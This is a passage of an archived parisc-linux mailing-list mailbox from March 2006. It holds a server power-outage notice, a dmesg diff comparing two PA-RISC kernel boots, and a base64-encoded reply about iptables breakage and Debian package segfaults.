	Fri, 24 Mar 2006 15:40:29 -0700 (MST)
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by free.linux.hp.com (Postfix) with ESMTP id BD2407D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 15:40:29 -0700 (MST)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP id 6BD1034FE5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 17:40:29 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP id 3FA3C84BE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 22:40:29 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 17A03134236
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 15:40:29 -0700 (MST)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 12472-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 15:40:27 -0700 (MST)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 48E40134234
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 15:40:27 -0700 (MST)
Original-Received: by krebs (Postfix, from userid 20800)
	id E21883B686F; Fri, 24 Mar 2006 15:40:31 -0700 (MST)
Content-Disposition: inline
User-Agent: mutt-ng devel-20050619 (Debian)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UEcXcBIjX1Vp6uuYY2FyNzZ3SDc4NExA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23490

We were told yesterday that power to the room that holds
palinux.external.hp.com (aka parisc-linux.org) will be interrupted
from 6:00a->2:00p MST (13:00->21:00 UTC).  I have started a shutdown
process on palinux which will halt the box at 5:30a (12:30 UTC).

Ryan Fuerst will be in to power the box back up after the power has
returned.  Sorry for the inconvenience/late notice.

-- 
dann frazier | HP Open Source and Linux Lab
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Sat, 25 Mar 2006 20:45:58 -0500 (EST)
Lines: 247
Approved: news@gmane.org
Message-ID: <200603260145.k2Q1jwSr012419@hiauly1.hia.nrc.ca>
References: <200603230746.37433.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624028 18651 80.91.229.3 (22 Nov 2014 02:40:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2006 01:46:01 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx068) with SMTP; 26 Mar 2006 03:46:01 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id k2Q1jxSq012420;
	Sat, 25 Mar 2006 20:45:59 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2Q1jwSr012419;
	Sat, 25 Mar 2006 20:45:58 -0500 (EST)
In-Reply-To: <200603230746.37433.deller@gmx.de> from "Helge Deller" at Mar 23, 2006 07:46:37 am
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DbZvAz0Na2A7ubvDOHQyMTQyOWhhaseE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23491

> But I did booted yesterday the latest CVS 32bit Kernel on my c3k and it worked fine, so I assume you shouldn't see any problems either...

I tried the default 2.6.16-pa5 from www.parisc-linux.org this afternoon.
I still get a lot of ip_tables messages on the console which unfortunately
aren't captured in any log file.  I've attached the diff between 2.6.15-rc7-pa
and 2.6.16-pa5 dmesg files.  Is the eth0 difference significant?  There's
also a segv in dirmngr that occurs late in both boots.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--- dmesg	2006-03-25 18:14:38.000000000 -0500
+++ dmesg.0	2006-03-25 18:06:12.000000000 -0500
@@ -1,4 +1,4 @@
-Linux version 2.6.15-rc7-pa1 (bame@palinux) (gcc version 3.3.5 (Debian 1:3.3.5-13)) #1 Mon Jan 2 15:10:49 MST 2006
+Linux version 2.6.16-pa5 (bame@palinux) (gcc version 3.3.5 (Debian 1:3.3.5-13)) #1 Thu Mar 23 20:32:12 MST 2006
 FP[0] enabled: Rev 1 Model 19
 The 32-bit Kernel has started...
 Initialized PDC Console for debugging.
@@ -16,7 +16,7 @@
   HighMem zone: 0 pages, LIFO batch:0
 LCD display at f05d0008,f05d0000 registered
 Built 1 zonelists
-Kernel command line: HOME=/ TERM=linux root=/dev/sdb3 console=tty0 sti=10/4/3/0 sti_font=VGA8x16 panic=180 palo_kernel=3/boot/vmlinux
+Kernel command line: HOME=/ TERM=linux root=/dev/sdb3 console=tty0 sti=10/4/3/0 sti_font=VGA8x16 panic=180 palo_kernel=3/boot/vmlinux-2.6.16-pa5-c3000_defconfig
 PID hash table entries: 4096 (order: 12, 65536 bytes)
 Console: colour dummy device 160x64
 Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
@@ -35,8 +35,8 @@
 6. Allegro W2 at 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
 7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
 CPU(s): 1 x PA8700 (PCX-W2) at 875.000000 MHz
-Whole cache flush 1029084 cycles, flushing 4478280 bytes 1046986 cycles
-Setting cache flush threshold to 40 (1 CPUs online)
+Whole cache flush 1257772 cycles, flushing 4495684 bytes 1053408 cycles
+Setting cache flush threshold to 900 (1 CPUs online)
 SBA found Astro 2.1 at 0xfed00000
 LBA version TR4.0 (0x5) found at 0xfed30000
 PCI: Enabled native mode for NS87415 (pif=0x8f)
@@ -48,11 +48,11 @@
 SCSI subsystem initialized
 usbcore: registered new driver usbfs
 usbcore: registered new driver hub
-unwind_init: start = 0x104064d0, end = 0x10434c00, entries = 11891
+unwind_init: start = 0x1040a400, end = 0x10439f10, entries = 12209
 Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
 Initializing Cryptographic API
 io scheduler noop registered
-io scheduler anticipatory registered
+io scheduler anticipatory registered (default)
 io scheduler deadline registered
 io scheduler cfq registered
 SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 19) 
@@ -62,7 +62,7 @@
 SuperIO: Floppy controller at 0x3f0
 SuperIO: ACPI at 0x7e0
 SuperIO: USB regulator enabled
-PDC Stable Storage facility v0.10
+PDC Stable Storage facility v0.22
 Soft power switch enabled, polling @ 0xf0400804.
 STI GSC/PCI core graphics driver Version 0.9a
 STI PCI graphic ROM found at f6000000 (64 kB), fb at f8000000 (32 MB)
@@ -77,21 +77,21 @@
 fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7, mmio: 0xf8100000
 stifb: 'A1262A' (id: 0x35acda30) not supported.
 Generic RTC Driver v1.07
-Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
+Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
 serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
 serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
 loop: loaded (max 8 devices)
 Linux Tulip driver version 1.1.13 (December 15, 2004)
 tulip0: no phy info, aborting mtable build
 tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
-eth0: Digital DS21142/DS21143 Tulip rev 65 at f4008000, 00:30:6E:48:AC:EA, IRQ 17.
+eth0: Digital DS21142/DS21143 Tulip rev 65 at 0001e000, 00:30:6E:48:AC:EA, IRQ 17.
 tulip1:  EEPROM default media type Autosense.
 tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
 tulip1:  Index #1 - Media 10base2 (#1) described by a 21142 Serial PHY (2) block.
 tulip1:  Index #2 - Media AUI (#2) described by a 21142 Serial PHY (2) block.
 tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
 tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101.
-eth1: Digital DS21142/DS21143 Tulip rev 33 at f4800000, 00:60:B0:7A:02:FD, IRQ 21.
+eth1: Digital DS21142/DS21143 Tulip rev 33 at 00032000, 00:60:B0:7A:02:FD, IRQ 21.
 Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
 ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
 NS87415: IDE controller at PCI slot 0000:00:0e.0
@@ -117,8 +117,8 @@
   Type:   Direct-Access                      ANSI SCSI revision: 03
  target1:0:5: tagged command queuing enabled, command queue depth 16.
  target1:0:5: Beginning Domain Validation
- target1:0:5: asynchronous.
- target1:0:5: wide asynchronous.
+ target1:0:5: asynchronous
+ target1:0:5: wide asynchronous
  target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
  target1:0:5: Domain Validation skipping write tests
  target1:0:5: Ending Domain Validation
@@ -126,22 +126,30 @@
   Type:   Direct-Access                      ANSI SCSI revision: 02
  target1:0:6: tagged command queuing enabled, command queue depth 16.
  target1:0:6: Beginning Domain Validation
- target1:0:6: asynchronous.
- target1:0:6: wide asynchronous.
+ target1:0:6: asynchronous
+ target1:0:6: wide asynchronous
  target1:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
  target1:0:6: Domain Validation skipping write tests
  target1:0:6: Ending Domain Validation
 st: Version 20050830, fixed bufsize 32768, s/g segs 256
 SCSI device sda: 71132960 512-byte hdwr sectors (36420 MB)
-SCSI device sda: drive cache: write through
+sda: Write Protect is off
+sda: Mode Sense: d3 00 10 08
+SCSI device sda: drive cache: write through w/ FUA
 SCSI device sda: 71132960 512-byte hdwr sectors (36420 MB)
-SCSI device sda: drive cache: write through
+sda: Write Protect is off
+sda: Mode Sense: d3 00 10 08
+SCSI device sda: drive cache: write through w/ FUA
  sda: sda1 sda2 sda3 sda4 < sda5 sda6 >
 sd 1:0:5:0: Attached scsi disk sda
 SCSI device sdb: 143374738 512-byte hdwr sectors (73408 MB)
-SCSI device sdb: drive cache: write through
+sdb: Write Protect is off
+sdb: Mode Sense: a3 00 10 08
+SCSI device sdb: drive cache: write through w/ FUA
 SCSI device sdb: 143374738 512-byte hdwr sectors (73408 MB)
-SCSI device sdb: drive cache: write through
+sdb: Write Protect is off
+sdb: Mode Sense: a3 00 10 08
+SCSI device sdb: drive cache: write through w/ FUA
  sdb: sdb1 sdb2 sdb3 sdb4 < sdb5 sdb6 >
 sd 1:0:6:0: Attached scsi disk sdb
 sd 1:0:5:0: Attached scsi generic sg0 type 0
@@ -172,11 +180,13 @@
 usb usb1: default language 0x0409
 usb usb1: new device strings: Mfr=3, Product=2, SerialNumber=1
 usb usb1: Product: OHCI Host Controller
-usb usb1: Manufacturer: Linux 2.6.15-rc7-pa1 ohci_hcd
+usb usb1: Manufacturer: Linux 2.6.16-pa5 ohci_hcd
 usb usb1: SerialNumber: 0000:00:0e.2
-usb usb1: hotplug
+usb usb1: uevent
+usb usb1: device is self-powered
+usb usb1: configuration #1 chosen from 1 choice
 usb usb1: adding 1-0:1.0 (config #1, interface 0)
-usb 1-0:1.0: hotplug
+usb 1-0:1.0: uevent
 hub 1-0:1.0: usb_probe_interface
 hub 1-0:1.0: usb_probe_interface - got id
 hub 1-0:1.0: USB hub found
@@ -187,7 +197,7 @@
 hub 1-0:1.0: power on to power good time: 0ms
 hub 1-0:1.0: local power source is good
 hub 1-0:1.0: enabling power on all ports
-hub 1-0:1.0: state 5 ports 3 chg 0000 evt 0000
+hub 1-0:1.0: state 7 ports 3 chg 0000 evt 0000
 drivers/usb/core/inode.c: creating file '001'
 ohci_hcd 0000:00:0e.2: GetStatus roothub.portstatus [0] = 0x00010301 CSC LSDA PPS CCS
 hub 1-0:1.0: port 1, status 0301, change 0001, 1.5 Mb/s
@@ -201,11 +211,13 @@
 usb 1-1: new device strings: Mfr=1, Product=2, SerialNumber=0
 usb 1-1: Product: USB Keyboard and Mouse
 usb 1-1: Manufacturer: SILITEK
-usb 1-1: hotplug
+usb 1-1: uevent
+usb 1-1: device is bus-powered
+usb 1-1: configuration #1 chosen from 1 choice
 usb 1-1: adding 1-1:1.0 (config #1, interface 0)
-usb 1-1:1.0: hotplug
+usb 1-1:1.0: uevent
 usb 1-1: adding 1-1:1.1 (config #1, interface 1)
-usb 1-1:1.1: hotplug
+usb 1-1:1.1: uevent
 drivers/usb/core/inode.c: creating file '002'
 ohci_hcd 0000:00:0e.2: GetStatus roothub.portstatus [1] = 0x00010301 CSC LSDA PPS CCS
 hub 1-0:1.0: port 2, status 0301, change 0001, 1.5 Mb/s
@@ -218,11 +230,13 @@
 usb 1-2: new device strings: Mfr=1, Product=2, SerialNumber=0
 usb 1-2: Product: N48
 usb 1-2: Manufacturer: Logitech
-usb 1-2: hotplug
+usb 1-2: uevent
+usb 1-2: device is bus-powered
+usb 1-2: configuration #1 chosen from 1 choice
 usb 1-2: adding 1-2:1.0 (config #1, interface 0)
-usb 1-2:1.0: hotplug
+usb 1-2:1.0: uevent
 drivers/usb/core/inode.c: creating file '003'
-hub 1-0:1.0: state 5 ports 3 chg 0000 evt 0004
+hub 1-0:1.0: state 7 ports 3 chg 0000 evt 0004
 usbcore: registered new driver hiddev
 usbhid 1-1:1.0: usb_probe_interface
 usbhid 1-1:1.0: usb_probe_interface - got id
@@ -239,12 +253,12 @@
 usbcore: registered new driver usbhid
 drivers/usb/input/hid-core.c: v2.6:USB HID core driver
 mice: PS/2 mouse device common for all mice
-md: linear personality registered as nr 1
-md: raid0 personality registered as nr 2
-md: raid1 personality registered as nr 3
+md: linear personality registered for level -1
+md: raid0 personality registered for level 0
+md: raid1 personality registered for level 1
 md: md driver 0.90.3 MAX_MD_DEVS=256, MD_SB_DISKS=27
 md: bitmap version 4.39
-Advanced Linux Sound Architecture Driver Version 1.0.10rc3 (Mon Nov 07 13:30:21 2005 UTC).
+Advanced Linux Sound Architecture Driver Version 1.0.11rc2 (Wed Jan 04 08:57:20 2006 UTC).
 ALSA device list:
   #0: Analog Devices AD1889 at 0xf400c000 irq 18
 NET: Registered protocol family 2
@@ -263,17 +277,17 @@
 EXT3-fs: mounted filesystem with ordered data mode.
 VFS: Mounted root (ext3 filesystem) readonly.
 Freeing unused kernel memory: 236k freed
-usb 1-0:1.0: hotplug
-usb 1-1: hotplug
-usb 1-1:1.0: hotplug
-usb 1-1:1.1: hotplug
-usb 1-2: hotplug
-usb 1-2:1.0: hotplug
-usb usb1: hotplug
+usb 1-0:1.0: uevent
+usb 1-1: uevent
+usb 1-1:1.0: uevent
+usb 1-1:1.1: uevent
+usb 1-2: uevent
+usb 1-2:1.0: uevent
+usb usb1: uevent
 Adding 265032k swap on /dev/sdb1.  Priority:-1 extents:1 across:265032k
 Adding 263144k swap on /dev/sda1.  Priority:-2 extents:1 across:263144k
 EXT3 FS on sdb3, internal journal
-ip_conntrack version 2.4 (8192 buckets, 65536 max) - 212 bytes per conntrack
+ip_conntrack version 2.4 (8192 buckets, 65536 max) - 172 bytes per conntrack
 kjournald starting.  Commit interval 5 seconds
 EXT3 FS on sdb5, internal journal
 EXT3-fs: mounted filesystem with ordered data mode.
@@ -289,4 +303,3 @@
 kjournald starting.  Commit interval 5 seconds
 EXT3 FS on sda6, internal journal
 EXT3-fs: mounted filesystem with ordered data mode.
-ip_tables: (C) 2000-2002 Netfilter core team



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Max Grabert" <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes) and more
Date: Sun, 26 Mar 2006 04:32:17 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <e6eae0290603251932l142222f2n@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
  boundary="----=_Part_173_27613596.1143343937713"
X-Trace: ger.gmane.org 1416624029 18667 80.91.229.3 (22 Nov 2014 02:40:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:29 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc@gmail.com>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2006 03:32:18 -0000
Original-Received: from nproxy.gmail.com (EHLO nproxy.gmail.com) [64.233.182.187]
  by mx0.gmx.net (mx065) with SMTP; 26 Mar 2006 05:32:18 +0200
Original-Received: by nproxy.gmail.com with SMTP id p46so855925nfa
        for <deller@gmx.de>; Sat, 25 Mar 2006 19:32:18 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
        s=beta; d=gmail.com;
        h=received:message-id:date:from:to:subject:cc:mime-version:content-type;
        b=IFxj6QSDm9U2VVtbX0Ob5YCL3+MfnGJUdpUY2HpST9VmjEJ84Ng7AyzMzXPMzz9euuekL3qRF1ngAdw4azgMhPz/WwFUwvyqELxorCxyloVYW2OAWzJk7ffKl9/yQEYPMVIHMGS35xxd36s00WmwZYgwrkvhS6WlJWHBjXxcSIE=
Original-Received: by 10.49.15.10 with SMTP id s10mr1061192nfi;
        Sat, 25 Mar 2006 19:32:17 -0800 (PST)
Original-Received: by 10.48.204.7 with HTTP; Sat, 25 Mar 2006 19:32:17 -0800 (PST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DX5HIB8La0Aovr6aejEzMzQ3Njh6dE7o
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23492

------=_Part_173_27613596.1143343937713
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: base64
Content-Disposition: inline

T24gMjYvMDMvMDYsIEpvaG4gRGF2aWQgQW5nbGluIDxkYXZlQGhpYXVseTEuaGlhLm5yYy5jYT4g
d3JvdGU6Cj4KPiA+IEJ1dCBJIGRpZCBib290ZWQgeWVzdGVyZGF5IHRoZSBsYXRlc3QgQ1ZTIDMy
Yml0IEtlcm5lbCBvbiBteSBjM2sgYW5kIGl0Cj4gd29ya2VkIGZpbmUsIHNvIEkgYXNzdW1lIHlv
dSBzaG91bGRuJ3Qgc2VlIGFueSBwcm9ibGVtcyBlaXRoZXIuLi4KPgo+IEkgdHJpZWQgdGhlIGRl
ZmF1bHQgMi42LjE2LXBhNSBmcm9tIHd3dy5wYXJpc2MtbGludXgub3JnIHRoaXMgYWZ0ZXJub29u
Lgo+IEkgc3RpbGwgZ2V0IGEgbG90IG9mIGlwX3RhYmxlcyBtZXNzYWdlcyBvbiB0aGUgY29uc29s
ZSB3aGljaCB1bmZvcnR1bmF0ZWx5Cj4gYXJlbid0IGNhcHR1cmVkIGluIGFueSBsb2cgZmlsZS4g
IEkndmUgYXR0YWNoZWQgdGhlIGRpZmYgYmV0d2Vlbgo+IDIuNi4xNS1yYzctcGEKPiBhbmQgMi42
LjE2LXBhNSBkbWVzZyBmaWxlcy4gIElzIHRoZSBldGgwIGRpZmZlcmVuY2Ugc2lnbmlmaWNhbnQ/
ICBUaGVyZSdzCj4gYWxzbyBhIHNlZ3YgaW4gZGlybW5nciB0aGF0IG9jY3VycyBsYXRlIGluIGJv
dGggYm9vdHMuCgoKSSBoYWQgYSBzaW1pbGFyIHByb2JsZW0gKHJlZ2FyZGluZyBpcHRhYmxlcyku
IEl0IHNlZW1zIHRoZXkgYXJlIGltcGxlbWVudGluZwphIG5ldyB1bmlmaWVkIGludGVyZmFjZSAo
TkZORVRMSU5LKSB3aGljaCBtaWdodCBicmVhayB0aGUgdXNlcnNwYWNlCm5ldGZpbHRlciB0b29s
cyAoYWthLiBpcHRhYmxlcy9pcDZ0YWJsZXMpLCB1bmxlc3MgeW91IHVzZSB0aGUgQ1ZTIHZlcnNp
b24gb2YKdGhlbS4gVGhpcyBpcyB3YXMgaW50cm9kdWNlZCBzb21ld2hlcmUgYmV0d2VlbiAyLjYu
MTUgYW5kIDIuNi4xNi4KSUlSQyBhZnRlciBkaXNhYmxpbmcgQ09ORklHX05FVEZJTFRFUl9ORVRM
SU5LIChvciBhdCBsZWFzdCBzZXQgaXQgdG8gY29tcGlsZQppdCBhcyBhIG1vZHVsZSkgYW5kIGVu
YWJsaW5nIENPTkZJR19ORVRGSUxURVJfWFRBQkxFUyBJIGRpZG4ndCBoYXZlIGFueQpwcm9ibGVt
cyBhbnltb3JlLgoKClJlZ2FyZGluZyB0aGUgc2VnZmF1bHQsIEkgY2FuJ3QgaGVscCB5b3UgdGhl
cmUgLi4uIGFsdGhvdWdoIEkgaGF2ZSBzZWVuIG1hbnkKYXBwbGljYXRpb25zIG5vdCBsb25nZXIg
d29ya2luZyBvbiBteSBEZWJpYW4vdGVzdGluZyBzeXN0ZW0gbGF0ZWx5CihzZWdmYXVsdCwgJ3Vu
cmVzb2x2YWJsZSByZWxvY2F0aW9uIGVycm9yIDB4NDInIG1vc3Qgb2YgdGhlIHRpbWUpLgpUaGUg
YWZmZWN0ZWQgYXBwbGljYXRpb25zL2RlYmlhbiBwYWNrYWdlcyBhcmU6Ci0gYWlkZQotIHNhbWJh
IChsaWJzbWJjbGllbnQsIHNhbWJhLCBzYW1iYS1jb21tb24sIHNtYmNsaWVudCwgc21iZnMgZXRj
LikKLSBhdXRvZnMKClJlY29tcGlsaW5nIHRob3NlIGFwcGxpY2F0aW9ucyB2aWEgJ2FwdC1nZXQg
YnVpbGQtZGVwIDxwYWNrYWdlPicgYW5kCidhcHQtZ2V0IC1iIHNvdXJjZSA8cGFja2FnZT4nIHdp
dGggZ2NjLTMuNCBwcm9kdWNlcyB3b3JraW5nIGV4ZWN1dGFibGVzLiBBdApsZWFzdCBmb3Igc2Ft
YmEgSSBhbHNvIHRyaWVkIHJlY29tcGlsaW5nIHdpdGggZ2NjLTQuMCwgd2l0aCBhbHNvIHdvcmtl
ZC4gSXQKc2VlbXMgdGhhdCB0aGVyZSBpcyBzb21ldGhpbmcgd3Jvbmcgd2l0aCB0aGUgc2V0dXAg
RGViaWFuJ3MgYnVpbGRkIHVzZXMgLi4uCi4uLiBJIHRoaW5rIEkgc2hvdWxkIHJhdGhlciByZXBv
cnQgdGhpcyBidWcgdG8gdGhlIGRlYmlhbi1ocHBhIG0tbCAuLi4KCiAgIE1heAo=
------=_Part_173_27613596.1143343937713
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: base64
Content-Disposition: inline

T24gMjYvMDMvMDYsIDxiIGNsYXNzPSJnbWFpbF9zZW5kZXJuYW1lIj5Kb2huIERhdmlkIEFuZ2xp
bjwvYj4gJmx0OzxhIGhyZWY9Im1haWx0bzpkYXZlQGhpYXVseTEuaGlhLm5yYy5jYSI+ZGF2ZUBo
aWF1bHkxLmhpYS5ucmMuY2E8L2E+Jmd0OyB3cm90ZTo8ZGl2PjxzcGFuIGNsYXNzPSJnbWFpbF9x
dW90ZSI+PC9zcGFuPjxibG9ja3F1b3RlIGNsYXNzPSJnbWFpbF9xdW90ZSIgc3R5bGU9ImJvcmRl
ci1sZWZ0OiAxcHggc29saWQgcmdiKDIwNCwgMjA0LCAyMDQpOyBtYXJnaW46IDBwdCAwcHQgMHB0
IDAuOGV4OyBwYWRkaW5nLWxlZnQ6IDFleDsiPgomZ3Q7IEJ1dCBJIGRpZCBib290ZWQgeWVzdGVy
ZGF5IHRoZSBsYXRlc3QgQ1ZTIDMyYml0IEtlcm5lbCBvbiBteSBjM2sgYW5kIGl0IHdvcmtlZCBm
aW5lLCBzbyBJIGFzc3VtZSB5b3Ugc2hvdWxkbid0IHNlZSBhbnkgcHJvYmxlbXMgZWl0aGVyLi4u
PGJyPjxicj5JIHRyaWVkIHRoZSBkZWZhdWx0IDIuNi4xNi1wYTUgZnJvbSA8YSBocmVmPSJodHRw
Oi8vd3d3LnBhcmlzYy1saW51eC5vcmciPgp3d3cucGFyaXNjLWxpbnV4Lm9yZzwvYT4gdGhpcyBh
ZnRlcm5vb24uPGJyPkkgc3RpbGwgZ2V0IGEgbG90IG9mIGlwX3RhYmxlcyBtZXNzYWdlcyBvbiB0
aGUgY29uc29sZSB3aGljaCB1bmZvcnR1bmF0ZWx5PGJyPmFyZW4ndCBjYXB0dXJlZCBpbiBhbnkg
bG9nIGZpbGUuJm5ic3A7Jm5ic3A7SSd2ZSBhdHRhY2hlZCB0aGUgZGlmZiBiZXR3ZWVuIDIuNi4x
NS1yYzctcGE8YnI+YW5kIDIuNi4xNi1wYTUgZG1lc2cgZmlsZXMuJm5ic3A7Jm5ic3A7SXMgdGhl
IGV0aDAgZGlmZmVyZW5jZSBzaWduaWZpY2FudD8mbmJzcDsmbmJzcDtUaGVyZSdzCjxicj5hbHNv
IGEgc2VndiBpbiBkaXJtbmdyIHRoYXQgb2NjdXJzIGxhdGUgaW4gYm90aCBib290cy48L2Jsb2Nr
cXVvdGU+PGRpdj48YnI+SSBoYWQgYSBzaW1pbGFyIHByb2JsZW0gKHJlZ2FyZGluZyBpcHRhYmxl
cykuIEl0IHNlZW1zIHRoZXkgYXJlIGltcGxlbWVudGluZyBhIG5ldyB1bmlmaWVkIGludGVyZmFj
ZSAoTkZORVRMSU5LKSB3aGljaCBtaWdodCBicmVhayB0aGUgdXNlcnNwYWNlIG5ldGZpbHRlciB0
b29scyAoYWthLiBpcHRhYmxlcy9pcDZ0YWJsZXMpLCB1bmxlc3MgeW91IHVzZSB0aGUgQ1ZTIHZl
cnNpb24gb2YgdGhlbS4gVGhpcyBpcyB3YXMgaW50cm9kdWNlZCBzb21ld2hlcmUgYmV0d2VlbiAK
Mi42LjE1IGFuZCAyLjYuMTYuPGJyPklJUkMgYWZ0ZXIgZGlzYWJsaW5nIENPTkZJR19ORVRGSUxU
RVJfTkVUTElOSyAob3IgYXQgbGVhc3Qgc2V0IGl0IHRvIGNvbXBpbGUgaXQgYXMgYSBtb2R1bGUp
IGFuZCBlbmFibGluZyBDT05GSUdfTkVURklMVEVSX1hUQUJMRVMgSSBkaWRuJ3QgaGF2ZSBhbnkg
cHJvYmxlbXMgYW55bW9yZS48YnI+PGJyPjxicj5SZWdhcmRpbmcgdGhlIHNlZ2ZhdWx0LCBJIGNh
